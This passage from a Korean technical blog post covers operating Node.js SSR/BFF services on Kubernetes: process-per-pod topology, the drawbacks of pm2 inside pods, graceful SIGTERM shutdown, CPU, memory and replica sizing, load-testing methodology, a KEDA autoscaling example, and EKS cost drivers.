- **CPU limit은 시간제 차단기.** 100ms마다 주어진 쿼터를 다 쓰면 점원까지 포함해 가게 전체가 멈춘다. 그래서 limit은 빼거나 넉넉히 두고, request를 정직하게 잡는 쪽이 안전하다.
- **cluster는 한 매장에 계산대 여러 개.** 계산 능력은 늘지만, 계산대마다 설거지통(New Space 버퍼)이 따로 딸려 온다.

다음은 운영 편이다. 파드 안에 프로세스를 몇 개 두는 게 좋은지, 그리고 누가 그 프로세스를 돌봐야 하는지의 이야기다.

## 파드 하나에 프로세스 몇 개를 둘까: 누가 슈퍼바이저인가

cluster로 메모리가 곱해지는 걸 봤으니 근본 질문으로 가자. 파드 하나에 Node 프로세스를 하나만 둘까, 여러 개(cluster 워커)를 둘까. 프론트엔드 팀에서 자주 갈리는 지점이다.

먼저 프레임을 바로잡자. 진짜 결정 변수는 "프로세스 1개냐 N개냐"가 아니라 **파드 하나에 CPU를 몇 코어 주느냐**다. 파드에 4코어를 주고 Node를 하나만 돌리면 3코어가 논다(JS는 1코어 천장이니까). 그러니 질문은 이렇게 바뀐다. **파드를 약 1코어로 잘게 썰어 많이 띄울까, 아니면 큰 파드에 워커를 여러 개 packing할까.**

기본값은 **약 1코어짜리 파드에 프로세스 하나, 그리고 레플리카(파드 수)로 확장**이다. 쿠버네티스에게 슈퍼바이저 역할을 온전히 맡기는 쪽이다. 왜 이쪽이 나은지는 packing으로 잃는 것들을 나열하면 분명해진다.

- **probe와 재시작은 컨테이너 단위지 워커 단위가 아니다.** probe는 kubelet이 컨테이너가 살아 있는지(liveness), 트래픽 받을 준비가 됐는지(readiness) 주기적으로 확인하는 검사다. 프로세스가 하나면 크래시는 눈에 보이는 컨테이너 재시작이 되고 `restartCount`와 `CrashLoopBackOff`에 잡힌다. 한 컨테이너 뒤에 워커 N개를 숨기면 kubelet은 건강 신호를 하나로만 보고, 먹통이 된 워커 하나를 골라 재시작하지 못한다.
- **cgroup 메모리 limit도 컨테이너 단위다.** packing된 파드에서 워커 하나가 메모리를 새면 **형제 워커까지 다 같이 OOMKill**된다. K8s는 그걸 뭉뚱그린 `OOMKilled` 하나로 기록한다.
- **SIGTERM은 PID 1로 간다.** 프로세스가 하나면 종료 신호가 Node에 곧장 닿아 한 번의 드레인으로 끝난다(다음 절 주제다).
- **bin-packing은 request로 돈다.** 약 1코어 파드는 노드의 자투리에 쏙쏙 들어가고 Karpenter가 뭉쳐 정리(consolidation)한다. N코어짜리 뚱뚱한 파드는 연속된 N코어 구멍을 요구해 노드를 파편화하고 consolidation을 막는다.
- **폭발 반경과 롤아웃 단위가 다르다.** 작은 파드는 용량의 1/N이고, 뚱뚱한 파드는 한 번에 N이다.
- **compute 비용은 토폴로지와 무관하다.** EC2 온디맨드는 같은 패밀리 안에서 vCPU당 선형이라, 8코어를 8개의 1코어 파드로 쓰든 1개의 8코어 파드로 쓰든 계산 비용은 같다. packing이 아끼는 건 **파드당 고정 오버헤드**뿐이지 compute가 아니다.

> **Karpenter**: AWS의 노드 오토스케일러. 파드의 request를 보고 필요한 EC2 인스턴스를 즉석에서 띄우고, 비는 노드를 뭉쳐 없앤다(consolidation). 기존 Cluster Autoscaler보다 인스턴스 선택과 packing이 유연하다.

그럼 파드당 고정 오버헤드가 얼마길래. 실측하면 bare Node 프로세스가 약 40MB, 최소 HTTP 서버가 43MB다. 여기에 사이드카(파드 안에 본 컨테이너와 나란히 뜨는 보조 컨테이너. 예를 들어 서비스 메시 Istio의 Envoy 프록시가 약 40MB)와 VPC IP 하나가 붙는다. packing은 딱 이만큼을 아낀다. 그래서 "작은 파드를 많이"가 공짜는 아니다. 너무 잘게 쪼개면 CPU가 포화되기 전에 노드당 IP·파드 밀도 상한에 먼저 부딪힌다. 비용상 옳은 기본값은 **정직한 request로 잘 맞춘 약 1코어 파드를 적당한 수로, 그리고 Karpenter로 뭉치기**지, 무한정 잘게 쪼개기가 아니다.

여기서 흔한 혼동 하나를 풀자. **"큰 노드"와 "큰 파드"는 별개다.** 큰 노드가 주는 이득(DaemonSet, 즉 노드마다 하나씩 뜨는 파드와 system-reserved 복사본이 줄고 컨트롤 플레인 부하가 준다)은 **큰 노드 위에 작은 1프로세스 파드를 많이** 얹어도 그대로 챙긴다. 워커를 여러 개 packing해서 추가로 얻는 건 오직 파드당 오버헤드(사이드카 + 베이스 RSS + IP)뿐이다. 그러니 워커 packing으로 넘어가기 전에 그 특정 오버헤드가 정말 큰지부터 재보는 것이 순서다.

packing이 정당화되는 경우는 분명히 있다. 대개 셋 중 하나다. (1) **사이드카 메시**가 파드마다 프록시를 띄워 오버헤드가 클 때. 단 Istio ambient 모드는 프록시를 노드 단위 데몬셋으로 옮겨 이 이유를 없앤다. 메시부터 고치는 게 순서다. (2) **IP/ENI 고갈**. ENI는 EC2의 네트워크 인터페이스로, 노드가 파드에 줄 수 있는 IP 수를 제한한다. 단 prefix delegation(/28 단위로 IP를 묶어 받아 최대 16배)이 AWS가 권하는 해법이고 대개 packing보다 낫다. (3) **AWS Fargate**. 파드 하나가 노드 하나라 bin-packing 자체가 없다. 이게 가장 강한 이유고, 비용 절에서 다시 본다.

정말 packing을 한다면 **pm2가 아니라 내장 `node:cluster`나 `worker_threads`**를 쓰고, **워커 수를 CPU limit에 고정**한다(절대 `-i max`가 아니다). 왜 pm2가 아닌지가 바로 다음 절이다.

## pm2를 쿠버네티스에서 써야 하나

VM 시절 습관대로 컨테이너 안에 pm2를 넣는 팀이 많다. 결론부터 말하면, **쿠버네티스 안에 두 번째 슈퍼바이저 겸 오토스케일러를 중첩하지 않는 것이 좋다.** 다만 이걸 "pm2는 나쁘다"로 오해하면 안 된다. 먼저 pm2가 뭘 잘하는지부터 공정하게 볼 필요가 있다.

pm2가 VM 시절에 사랑받은 건 이유가 있다. 크래시 난 프로세스를 자동으로 되살리고, `pm2 reload`로 워커를 무중단 재시작하고, 클러스터 모드로 한 줄에 멀티코어를 쓰고, 로그를 모아 회전시키고, 메모리를 넘긴 워커를 재시작하고(`max_memory_restart`), 프로세스 상태를 대시보드로 보여준다. 오케스트레이터가 없는 단일 서버라면 이게 전부 있어야 할 기능이고, pm2는 이걸 잘한다.

문제는 쿠버네티스에는 그 오케스트레이터가 이미 있다는 것이다. pm2가 주는 것 하나하나가 K8s에서는 한 층 위에서, 대개 더 낫게 제공된다.

| pm2가 주는 것           | K8s가 이미 하는 것                                                               |
| ----------------------- | -------------------------------------------------------------------------------- |
| 크래시 자동 재시작      | `restartPolicy` + kubelet, 재시작이 `restartCount`·`CrashLoopBackOff`로 드러난다 |
| 무중단 배포(`reload`)   | 롤링 Deployment, 새 이미지로 파드를 교체한다                                     |
| 클러스터 모드(멀티코어) | 레플리카로 확장, 파드 안이 꼭 필요하면 `node:cluster`                            |
| 메모리 초과 재시작      | 메모리 limit + OOMKill                                                           |
| 로그 수집·회전          | stdout → 노드 로그 에이전트(Fluent Bit 등)                                       |
| 메트릭·대시보드         | Prometheus / OTel                                                                |

오른쪽이 왼쪽을 대체할 뿐 아니라 **더 높은 층위에서** 한다. K8s의 재시작은 클러스터 전체가 보는 이벤트고, K8s의 무중단 배포는 GitOps로 추적되는 이미지 교체다. 반면 pm2를 파드 안에 또 넣으면 같은 일이 파드 경계 **안에서** 일어나 밖에서는 안 보인다. 기능이 겹치는 데서 끝나지 않고, 두 번째 층이 첫 번째 층의 눈을 가린다.

"pm2는 안티패턴"이라는 말은 방향은 맞지만 너무 단정적이다. 정확히는 두 가지를 구분해야 한다. K8s 안에 중복 슈퍼바이저를 중첩하는 것은 기본적으로 틀렸다. 하지만 pm2가 파드 안에서 고유하게 주는 가치, 즉 **"파드 하나에서 여러 코어 쓰기"**는 `node:cluster`가 의존성 없이 더 깔끔하게 한다. 그래서 pm2를 꼭 써야 할 이유가 좁아진다.

굳이 pm2를 쓴다면 **`pm2-runtime`이 필수**다(맨 `pm2`도, `npm start`도 안 된다). 맨 `pm2 start`는 데몬으로 떨어져 나가 백그라운드로 가버리므로, PID 1이 되면 컨테이너가 그대로 종료되거나 워커가 감독 없이 돈다. `pm2-runtime`은 포그라운드로 붙어 PID 1 신호와 그레이스풀 셧다운을 처리하는 "node 바이너리 대체품"이다.

그런데 pm2를 끼우는 순간 **네이티브 단일 프로세스에는 없는 버그 이음새**가 여럿 생긴다. 하나하나가 실제로 물린다.

- **신호 불일치.** pm2가 워커에 보내는 기본 종료 신호는 **SIGINT**인데 K8s는 **SIGTERM**을 보낸다. SIGTERM만 받는 표준 드레인 핸들러는 **조용히 한 번도 안 불린다.** `PM2_KILL_SIGNAL=SIGTERM`으로 맞춰야 한다. (드레인: 새 요청은 받지 않으면서 처리 중이던 요청을 마저 끝내는 정리 절차)
- **`kill_timeout` 기본값 1600ms.** K8s의 30초 grace보다 한참 짧다. K8s는 더 기다려줄 텐데 pm2가 1.6초 만에 드레인 중인 워커를 SIGKILL한다. drain 예산에 맞춰 올리되 `terminationGracePeriodSeconds`보다는 낮게 둔다.
- **숨은 OOMKill.** cgroup OOM 킬러는 RSS가 가장 큰 프로세스(워커)를 노리지 날씬한 pm2 PID 1을 노리지 않는다. pm2가 그 워커를 되살리고 컨테이너는 계속 떠 있으니, **K8s에는 exit 137도, `OOMKilled`도, 재시작 카운트도 안 남는다.** 오토스케일러나 VPA(파드의 request를 실사용에 맞게 자동 조정해주는 도구)가 참고할 신호가 통째로 사라진다. 네이티브라면 OOM은 일급 파드 이벤트다.
- **liveness·readiness 무력화.** probe는 공유 포트 하나를 때리고, 살아 있는 워커 중 하나가 답한다. 먹통이거나 크래시 루프에 빠진 워커가 있어도 헬스체크는 통과하고, pm2의 내부 재시작은 `restartCount`를 올리지도 `CrashLoopBackOff`를 띄우지도 않는다.
- **메모리 곱셈.** 워커마다 완전한 V8 프로세스다. `-i max`를 4코어 파드에 걸면 앞에서 본 New Space 약 2×semi를 포함한 단일 프로세스 발자국이 약 4배로 잡힌다. 프로세스 하나 기준으로 잡은 limit은 워커별로 OOMKill된다.

특히 **`-i max`(또는 `0`)는 지뢰다.** 감지된 CPU 수만큼 워커를 포크하는데, `os.availableParallelism`/libuv가 오랫동안 cgroup 쿼터가 아니라 **호스트 코어 수**를 돌려줬다(libuv #4146). 그래서 64코어 EKS 노드 위의 2코어 파드에서 `-i max`는 논리 코어 수만큼, 즉 워커를 최대 64개 포크하고, 곧장 CFS 스로틀 지옥과 tail latency 폭발로 간다. **cluster를 쓴다면 워커 수는 CPU limit에 고정하는 것이 안전하다. `max`는 피해야 한다.**

pm2를 정당화하는 논거로 자주 나오는 "PID 1 문제"는 진짜지만 pm2가 답은 아니다. Node를 PID 1로 그냥 띄우면 커널이 기본 SIGTERM 처리를 설치하지 않고(init 프로세스라서), 좀비 프로세스도 거둬야 한다. 하지만 이건 **`tini`/`dumb-init`나 도커의 `--init`** 한 줄과 명시적 `process.on('SIGTERM')` 핸들러로 싸게 해결된다. pm2의 이중 슈퍼바이저 부작용 없이 신호 처리와 좀비 수거를 다 얻는다.

**"재시작이 K8s보다 빠르다"는 논거**도 있다. 사실관계부터 정리하면, 빠른 건 맞다. pm2 워커가 죽으면 이미 떠 있는 컨테이너 안에서 프로세스 하나를 다시 fork하면 끝이라 1~2초 안에 돌아오고, 그동안 나머지 워커가 트래픽을 계속 받는다. K8s 쪽도 첫 재시작 자체는 kubelet이 같은 노드에서 컨테이너를 다시 띄우는 것이라 몇 초 수준으로 빠르지만, 크래시가 반복되면 `CrashLoopBackOff`의 지수 백오프(10초에서 시작해 최대 5분)가 걸리고, 재시작 후에도 readiness probe를 통과해야 트래픽이 들어온다. 크래시가 잦은 서비스일수록 차이는 실제로 벌어진다.

다만 이 논거는 세 번 뒤집어볼 필요가 있다. 첫째, 그 빠름이 정확히 위에서 말한 숨김이다. 재시작 속도가 중요해졌다는 건 크래시가 잦다는 뜻인데, pm2는 그 신호를 K8s 눈에서 지우면서 되살린다. 빠른 재시작이 고치는 건 증상이고, 크래시의 원인은 그대로 남는다. 둘째, 레플리카가 충분하면 파드 하나의 재시작 속도는 사용자에게 닿지 않는다. 파드 하나가 빠진 동안 나머지가 받으면 되기 때문이다. 재시작 속도가 가용성을 좌우하는 상황이라면, 그건 pm2가 필요하다는 신호라기보다 레플리카가 부족하다는 신호에 가깝다. 셋째, 같은 빠름은 pm2 없이도 얻을 수 있다. `node:cluster`에서 워커의 `exit` 이벤트에 `cluster.fork()`를 다시 걸면 즉시 재기동이 동일하게 동작한다. 결국 빠른 재시작도 pm2의 고유 가치는 아니다.

그래서 왜 별개로 가는가. pm2의 장점은 진짜지만, 그건 **오케스트레이터가 없을 때** 진짜다. K8s 위에서는 그 장점을 이미 한 층 위에서 얻고 있고, pm2를 겹쳐 놓으면 장점을 한 번 더 얻는 대신 재시작·OOM·크래시라는 **관측 신호를 잃는다.** 유일하게 겹치지 않는 "파드 안 멀티코어"조차 `node:cluster`로 충분하다. 결국 pm2를 빼서 잃는 건 없고(K8s가 다 한다), 넣어서 잃는 건 관측성이다. 그러니 층을 나눈다. **슈퍼바이징은 K8s에, 애플리케이션은 파드당 Node 하나에.** 정말 pm2가 필요한 좁은 경우는 앞 절 packing 조건(Fargate 등)과 같고, 그때도 pm2보다 `node:cluster`가 낫다.

> 한 문장으로: **K8s에서 pm2가 고유하게 주는 건 "파드 안 멀티코어"뿐이고, 그건 `node:cluster`가 더 깔끔하게 한다.** 나머지는 전부 K8s가 이미 하는 일의 중복이거나, K8s의 눈을 가리는 부작용이다.

## 그레이스풀 셧다운: SIGTERM이 PID 1에 닿아야 한다

토폴로지 선택이 신뢰성으로 이어지는 지점이 종료 처리다. 프론트엔드 서비스가 롤아웃마다 5xx를 흘리는 흔한 원인이기도 하다.

파드가 죽는 순서는 이렇다. 삭제 요청이 오면 API 서버가 grace period를 시작하고, **kubelet이 PID 1에 SIGTERM을 보낸다.** 그리고 `terminationGracePeriodSeconds`(기본 30초)만큼 기다린 뒤 SIGKILL한다. Node는 이 사이에 SIGTERM을 받아 `server.close()`로 새 연결을 끊고, 처리 중이던 요청을 마저 흘려보낸 뒤 종료해야 한다. 핸들러를 달면 Node의 기본 동작(exit 143)이 대체되어 드레인할 틈이 생긴다. 안 하면 처리 중이던 요청이 뚝 끊겨 클라이언트가 5xx를 받는다.

여기서 PID 1 함정이 다시 나온다. `CMD npm start`나 셸 형식 CMD로 띄우면 PID 1이 `sh`나 `npm`이 되는데, **이들은 SIGTERM을 자식에게 전달하지 않는다.** 그래서 앱은 종료 신호를 영영 못 받고, 파드는 30초를 꽉 채워 매달렸다가 SIGKILL된다. 롤아웃마다 반복된다. `node`를 직접 PID 1로 띄우면 신호는 닿지만 기본 처리가 없어서, 핸들러를 명시하지 않으면 SIGTERM을 조용히 무시한다. 해법은 **exec 형식 JSON CMD와 명시적 핸들러**, 또는 `tini`/`--init`이다.

테스트에서는 안 보이는 함정이 하나 더 있다. 종료 시 API 서버는 kubelet(SIGTERM)과 엔드포인트 컨트롤러에 **동시에, 순서 없이** 신호를 보낸다. 그래서 SIGTERM을 받은 뒤에도 iptables·로드밸런서가 수렴할 때까지 **새 요청이 계속 들어온다**(이 수렴의 정체는 이후에 쓴 [트래픽 편](/2026/08/k8s-for-frontend-3)에서 실측으로 채웠다. 그 환경에서 평균 0.76초였다). `server.close()`만으로는 부족하다(닫히지 않는 바쁜 keep-alive 커넥션이라는 더 깊은 함정도 있는데, [파드의 삶과 죽음 편](/2026/08/k8s-for-frontend-4)에서 재현했다). `preStop` 훅에 sleep을 걸어 라우팅이 먼저 빠지게 한 뒤 드레인을 시작하는 패턴이 필요하다. 처음 쓸 당시에는 컨테이너 안에서 `sleep` 명령을 실행하는 방식으로 10~20초를 관례처럼 걸었는데(AWS 문서도 `sleep`을 예시로 든다), v1.34부터는 sleep 바이너리 없이 매니페스트만으로 되는 네이티브 sleep 액션이 GA이고, 초수도 관례 대신 클러스터의 전파 지연을 재서 정할 수 있다([삶과 죽음 편](/2026/08/k8s-for-frontend-4)은 실측 0.76초를 근거로 3초를 걸어 수렴 창의 거부를 0으로 만들었다). 그리고 `terminationGracePeriodSeconds`는 `preStop sleep + 최장 in-flight drain + 버퍼`보다 크게 잡는다.

pm2를 쓴다면 이 절의 함정(신호, kill_timeout, PID 1)이 전부 앞 절에서 본 pm2 설정 문제로 되돌아온다. 프로세스를 하나만 두면 애초에 없다.

## 쉬어가기 ③: 여기까지의 운영 이야기

운영 편의 핵심은 "돌보는 사람은 한 명이어야 한다"는 것이다.

- **슈퍼바이저는 쿠버네티스 하나로 충분하다.** 파드 안에 pm2 같은 두 번째 관리자를 두면, 그 관리자가 사고(OOM, 크래시)를 안에서 조용히 수습해버려서 바깥(K8s, 오토스케일러, 모니터링)이 장님이 된다.
- **파드당 Node 프로세스 하나, 약 1코어**가 기본값이다. 확장은 파드 수(레플리카)로 한다. 파드 안에 워커를 packing하는 건 Fargate처럼 분명한 이유가 있을 때의 최적화다.
- **종료 신호는 사장(PID 1)에게 직접 닿아야 한다.** `npm start`나 셸을 사이에 끼우면 신호가 중간에서 사라지고, 롤아웃마다 5xx가 샌다. exec 형식 CMD, SIGTERM 핸들러, preStop sleep 세 가지가 세트다.

이제 이 이해를 실제 사이징 절차로 묶는다.

## 사이징 세 축: CPU, 메모리, 파드 수

지금까지 본 걸 사이징 절차로 묶으면 세 축이 된다.

**CPU request.** 피크 시간대 실사용량의 p90에 맞춘다. 단일 프로세스는 앞에서 봤듯 JS로는 1코어 근처가 천장이라, request를 1코어 넘게 잡는 건 대개 낭비다. 1코어로 부족하면 request를 키우는 게 아니라 파드 수나 워커 수로 간다. request를 실사용보다 부풀리면(과예약) 클러스터가 실제보다 "CPU가 꽉 찼다"고 오판해 불필요하게 노드를 늘린다. **정직한 CPU request가 클러스터의 자원 판단을 정직하게 만든다.**

**메모리.** working set은 New Space(설정이 정하는 고정 버퍼) + Old Space(트래픽이 정하는 가변 데이터) + 논힙으로 이뤄진다. `--max-semi-space-size`와 `--max-old-space-size`, 그리고 컨테이너 limit을 **함께** 정한다. 어느 하나만 복사해 오면 앞에서 본 그림이 그대로 재현된다.

**파드 수.** 필요한 총 CPU 수요를 파드 하나가 감당할 양으로 나눈다.

```text
파드 수 = ceil( 총 CPU 수요 / (파드당 CPU request × 목표 사용률) )
```

목표 사용률은 오토스케일러가 붙잡는 타깃(예: 70%)이다. 파드 하나가 `request × 0.7`만큼 일한다고 보고, 전체 수요를 그걸로 나누면 필요한 파드 수가 나온다. 이건 HPA가 내부적으로 쓰는 `desiredReplicas = ceil(currentReplicas × 현재사용량 / 목표사용량)` 공식과 같은 계산을 사이징 관점에서 뒤집어 쓴 것이다. 둘 다 "파드 하나가 목표치만큼 일하도록 개수를 맞춘다"는 같은 이야기다.

단 이 공식은 **정상 상태의 어림값**이지 정확한 값이 아니다. HPA는 목표에서 기본 ±10% 안쪽이면 아예 조정하지 않으므로(tolerance dead-band), 실제 파드 수는 공식값 근처의 밴드로 앉는다. 또 파드마다 런타임·힙 베이스·사이드카 같은 고정 오버헤드가 있어서 총 수요가 파드 수에 완전히 비례하지도 않는다. 그러니 이 값은 `minReplicas`/`maxReplicas`의 하한 추정으로 쓰고, 여유는 평균이 아니라 **파드당 피크**에 맞춰 잡는 게 안전하다.

### 내 서비스의 모양을 재는 법

결국 이 글의 전부는 복사 대신 측정이라는 이야기다. 절차는 짧다.

1. 실제 서비스를 부하 아래 두고 `--trace-gc`로 돌린다.
2. major GC 직후 Old Space를 읽는다. 그게 진짜 working set이다.
3. 메모리 request와 limit을 같게, `Old Space + New Space(약 2×semi) + 논힙 여유`로 잡는다.
4. `--max-semi-space-size`는 **건드리지 않는 게 기본**이다. GC CPU가 실제로 병목이라고 측정됐을 때만 올린다.
5. CPU request는 피크 시간대 실사용량의 p90에 맞추고, 지연에 민감하면 CPU limit은 빼거나 request보다 넉넉히 위에 둔다.

남의 `NODE_OPTIONS`를 복사하는 대신 이 다섯 줄을 우리 서비스에 돌리면, 추측이 아니라 우리 숫자가 나온다.

### 부하테스트로 잴 것과 재면 안 되는 것

측정이라고 하면 흔히 떠올리는 방식이 있다. 파드 하나에 부하를 걸어두고, 메모리 그래프가 올라가다 멈추는 지점을 보고 그걸 파드 크기로 삼는 것이다. 언뜻 이 글이 권하는 측정처럼 보이지만, **부하 중 RSS를 그대로 읽는 건 사이징 근거가 되기 어렵다.** 이유는 세 레이어다.

- **부하 중 RSS 곡선의 대부분은 데이터가 아니라 New Space 버퍼가 lazy하게 차오르는 모습이다.** 앞의 실측에서 같은 워크로드(생존 데이터 20MB)가 semi 설정에 따라 104MB에서 593MB까지 다르게 찍혔다. 그래프가 멈춘 자리는 서비스가 필요로 하는 양이 아니라, 그 설정에서 GC가 청소를 미루기로 한 상한이다.
- **순환이 생긴다.** Node 24는 컨테이너 limit을 읽어 힙 상한을 잡으므로, 큰 파드에서 재면 V8이 힙을 크게 잡아 RSS도 크게 나오고, 그걸 보고 다시 큰 파드를 잡게 된다. 측정값이 파드 크기의 함수라서 이 방법은 수렴하지 않고 부풀기만 한다. V8이 한번 올라간 RSS를 OS에 잘 반납하지 않는다는 점도 이 착시를 굳힌다.
- **포화 구간의 메모리는 큐잉 비용이지 요청당 비용이 아니다.** 파드 하나를 한계까지 밀면 이벤트 루프가 1코어 천장에 막힌 뒤부터 in-flight 요청이 쌓이며 메모리가 오른다. 운영에서는 그 지점에 오기 전에 오토스케일러가 파드 수를 늘려 흡수하므로, 실전에서 겪지 않을 상태를 재서 상시 크기를 정하는 셈이 된다.

그럼 부하테스트를 하지 말라는 것인가 하면 반대다. 위의 다섯 줄 절차 자체가 부하 아래에서의 측정이다. 문제는 부하가 아니라 **읽는 값**이다. 올바르게 설계하면 이런 모양이 된다.

1. **운영과 동일한 조건에서 잰다.** 같은 컨테이너 이미지, 같은 `NODE_OPTIONS`, 후보 request/limit을 건 파드에서 돌린다. V8이 컨테이너 limit에 맞춰 힙을 잡기 때문에, 노트북이나 넉넉한 파드에서 잰 값은 운영 파드와 다른 모양이 나온다.
2. **부하 수준은 포화가 아니라 목표 사용률에 맞춘다.** 오토스케일러가 붙잡을 타깃(예: CPU request의 70%) 근처의 부하를 정상 상태로 유지한다. 이게 파드 하나가 실전에서 실제로 겪을 상태다.
3. **오래 돌린다.** New Space 버퍼는 lazy하게 자라므로 짧은 테스트는 peak를 과소평가한다. 힙이 정상 상태(plateau)에 앉을 때까지 돌리고, plateau 없이 계속 오르면 그건 사이징 문제가 아니라 누수다.
4. **메모리는 GC 직후 Old Space로 읽는다.** `--trace-gc`에서 major GC 직후 값이 진짜 working set이고, 여기에 약 2×semi와 논힙 여유를 더한 것이 메모리 limit이다. 부하 중 peak RSS의 용도는 하나로 좁혀 쓴다. 지금 설정 그대로일 때 limit이 그보다 큰지 확인하는 **하한 검증**이다.
5. **포화 테스트는 따로, 목적을 바꿔서 한다.** 파드 하나를 일부러 한계까지 밀어보는 건 유효한 테스트다. 다만 거기서 읽을 값은 메모리가 아니라 **파드 하나의 최대 처리량(RPS 천장)과 그때의 지연 모양**이고, 이 숫자가 앞에서 본 파드 수 공식의 분모 감각을 잡아준다. 단 이 처리량 천장도 정상 상태의 상한일 뿐, 실제 운영에서 파드를 무너뜨리는 **급증 시나리오**까지 재현하지는 못한다. 갑작스러운 스파이크는 오토스케일러가 반응하는 수십 초 사이에 기존 파드로 몰려 큐잉과 메모리를 밀어올리는데, 이건 파드 하나를 천천히 미는 램프가 아니라 **여러 파드에 오토스케일러를 켠 채 급증을 주입해** 스케일이 제때 따라붙는지를 봐야 드러난다. 처리량 천장과 스파이크 생존은 다른 테스트다.

두 가지 단서를 덧붙인다. 첫째, 부하의 뒷단(BE)을 모의(mock) 서버로 고정하고 재면 그 처리량 천장은 **참고값이지 보장값이 아니다.** 실제 BE는 응답 지연의 꼬리가 길고 재시도가 얽혀서, 처리 중 요청이 더 오래 쌓이고 처리량 천장(cliff)이 모의 환경보다 낮게 나올 수 있다. 모의 환경 측정은 상한을 그리는 용도로 쓰고, 운영 결정을 내리기 전에 실제 BE로 한 번 더 확인하는 게 안전하다. 둘째, 이 처리량 천장은 **최적화의 값어치를 숫자로 매기는 자**이기도 하다. 요청당 CPU·메모리 비용(불필요한 직렬화, 깊은 객체 복사, 큰 응답 로그 같은 것)을 줄이면 같은 파드가 더 높은 RPS까지 버티고, 천장이 올라간 만큼 같은 트래픽을 더 적은 파드로 감당한다. 파드가 줄면 앞에서 봤듯 노드가 줄고 곧 비용이 준다. 부하테스트는 "지금 몇 개가 필요한가"만이 아니라 "코드를 고치면 몇 개까지 줄어드나"를 함께 알려준다.

> 한 문장으로: **부하테스트에서 메모리는 "부하 중 RSS"가 아니라 "GC 직후 Old Space"로 읽는다.** 포화 테스트가 알려주는 건 파드의 메모리 크기가 아니라 파드 하나의 처리량 천장이다.

## KEDA로 예측 가능한 부하와 스파이크를 나눠 잡는다

파드 수를 정적으로 정해두면 트래픽이 출렁일 때 낭비 아니면 부족이 된다. 오토스케일링이 필요하고, 프론트엔드 트래픽에는 두 가지 성격이 섞여 있다. **예측 가능한 주기**(출근 시간대에 오르고 새벽에 내리는 일간 패턴)와 **예측 불가능한 스파이크**(이벤트, 유입 급증)다. KEDA(HPA를 확장해 cron이나 큐 길이 같은 이벤트 신호로도 스케일할 수 있게 해주는 오픈소스)는 이 둘을 다른 트리거로 나눠 잡는다.

KEDA는 내부적으로 HPA를 만들어 관리하면서, 여기에 이벤트 기반 스케일러를 얹는다. 예측 가능한 주기는 **cron 스케일러**로 시간표를 짠다.

```yaml
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: ssr-frontend
spec:
  scaleTargetRef:
    name: ssr-frontend
  minReplicaCount: 3
  maxReplicaCount: 40
  triggers:
    - type: cron
      metadata:
        timezone: Asia/Seoul
        start: '0 8 * * *' # 08:00에
        end: '0 23 * * *' # 23:00까지
        desiredReplicas: '12' # 최소 12개를 깔아둔다
    - type: cpu
      metadata:
        type: Utilization
        value: '70' # 그 위로 CPU가 70% 넘으면 더 띄운다
```

cron 트리거는 출근 시간대에 파드 바닥을 미리 깔아 콜드 스타트로 인한 초기 지연을 없앤다. 예측되는 부하는 예측으로 대응하는 것이다. 그리고 그 위에 얹힌 cpu 트리거가 예상 못 한 스파이크를 실시간으로 받는다. 두 트리거 중 더 많은 파드를 요구하는 쪽이 이긴다. 예측 가능한 부분은 시간표로, 나머지는 반응형으로. 앞에서 본 "트래픽은 파드 수가 흡수한다"를 운영으로 옮기면 이 모양이 된다.

## AWS 비용: request가 곧 청구서다

여기까지의 모든 이야기(정직한 request, 약 1코어 파드, 안 부풀린 힙)가 결국 돈으로 만난다. EKS 비용의 뼈대는 단순하다. **돈은 파드가 아니라 노드(EC2 인스턴스) 값으로 나간다.** 컨트롤 플레인은 표준 지원 기준 클러스터당 시간 \$0.10 정액이고(가격은 늘 확인할 것), 비용의 대부분은 EC2다. 그리고 노드를 몇 대 띄울지는 **request가 정한다.** 스케줄러도, Cluster Autoscaler도, Karpenter도 전부 request로 bin-packing한다. 실사용량도 limit도 아니다.

여기서 흔한 오해를 정밀하게 고치자. "request를 부풀리면 EC2 청구서가 곧장 오른다"는 **선형이 아니라 계단 함수**다. 노드는 대수 단위로 돈을 내므로, request를 조금 늘려도 **bin 경계를 넘어 노드를 하나 더(또는 더 큰 걸로) 띄우기 전까지는 추가 비용이 \$0**이다. 게다가 bin-packing은 2차원이라 **묶이는(binding) 자원만 과금에 반영된다.** 메모리로 먼저 꽉 차는 노드에서 CPU를 과예약하는 건 공짜고, 그 반대도 마찬가지다. Node SSR/BFF는 워커당 V8 New Space 때문에 대개 **메모리가 먼저 묶인다.** 그러니 달러를 말하기 전에 어느 차원이 포화됐는지부터 재는 게 순서다.

두 번째 레버는 **인스턴스 패밀리**다. vCPU당 메모리 비율이 고정돼 있다. c 계열 1:2, m 계열 1:4, r 계열 1:8 (GiB/vCPU). 문제는 r 계열이 vCPU당 c보다 약 48%, m보다 약 31% 비싸다는 것이다(2026년 us-east-1 온디맨드 기준, 가격은 늘 확인할 것). **힙과 New Space를 부풀리면 파드가 메모리 때문에 r 계열로 밀려난다.** 메모리 request를 vCPU당 2~4GiB 쪽으로 정직하게 줄이면 같은 파드가 더 싼 m/c로 packing되는데, 이건 노드 수도 줄이고 패밀리 등급도 낮추므로 대개 **레버리지가 가장 큰 단일 비용 절감 수단**이다. arm64(Graviton)로 빌드하면 여기서 다시 약 20% 빠진다.

자원 병목이 최적화 방향을 정한다는 말의 실체가 이것이다. 메모리로 묶인 클러스터는 r 계열을 강제당하고, 정직한 메모리는 클러스터를 c/m으로 돌려보낸다.

### "스펙업하고 파드를 줄이면?"의 함정

여기서 흔한 반론이 나온다. "파드당 메모리를 4배로 키우고 개수를 1/4로 줄이면 총 예약은 같지 않냐"는 것이다. 무거운 스펙을 정당화하는 단골 논리이기도 하다. 그런데 이건 **파드 수를 메모리가 정한다는 가정** 위에서만 성립하고, 단일 프로세스 Node에서는 그 가정이 틀린다.

파드 수를 정하는 건 메모리가 아니라 CPU다. 앞에서 봤듯 JS는 1코어가 천장이라, 필요한 파드 수의 바닥은 `총 CPU 수요 / (파드당 약 1코어 × 목표 사용률)`로 정해진다. 여기에 메모리는 들어가지 않는다. 파드에 4GB를 줘도 이벤트 루프는 여전히 1코어어치만 처리하므로 이 바닥은 내려가지 않는다. 예를 들어 피크에 36코어어치 일이 필요한 서비스라면 파드는 약 50개가 바닥이고, 메모리를 얼마로 잡든 이 50은 그대로다.

